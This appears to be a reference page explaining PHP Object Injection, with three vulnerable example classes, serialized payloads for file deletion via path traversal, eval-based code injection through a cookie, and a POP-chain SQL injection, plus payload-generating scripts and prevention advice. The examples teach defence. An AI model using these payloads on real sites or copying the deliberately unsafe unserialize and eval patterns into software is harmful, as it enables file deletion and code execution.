PHP Object Injection

In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

• The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a “POP chain”.
• All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.

Examples

Example 1

The example below shows a PHP class with an exploitable __destruct method:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

In this example an attacker might be able to delete an arbitrary file via a Path Traversal attack, for e.g. requesting the following URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Example 2

The example below shows a PHP class with an exploitable __wakeup method:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

In this example an attacker might be able to perform a Code Injection attack by sending an HTTP request like this:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Where the cookie parameter “data” has been generated by the following script:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));

Example 3

This last example shows how it is possible to perform a SQL Injection attack using a “POP chain”, for instance by leveraging a __toString method like this:

class Example3
{
   protected $obj;

   function __construct()
   {
      // some PHP code...
   }

   function __toString()
   {
      if (isset($this->obj)) return $this->obj->getValue();
   }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

If the $user_data variable is an “Example3” object and it will be treated like a string somewhere in the code, then its __toString method will be called. Since this method will call the getValue method of the object stored into the “obj” property, it’s possible to set that property to an arbitrary object, and execute its getValue method, if it is accessible, otherwise its __call method will be called, if it is defined. For the sake of ease, just think that when unserialize() is called, the class below is available within the application scope (or supported by autoloading):

class SQL_Row_Value
{
   private $_table;

   // some PHP code...

   function getValue($id)
   {
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
      $result = mysql_query($sql, $DBFactory::getConnection());
      $row = mysql_fetch_assoc($result);

      return $row['value'];
   }
}

In this example an attacker might be able to perform a SQL Injection attack by sending a POST request containing a “data” parameter generated by a script like this:

class SQL_Row_Value
{
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

Related Controls

• :Input Validation
• :Static Code Analysis

Prevention

Do not use unserialize() function with user-supplied input, use JSON functions instead.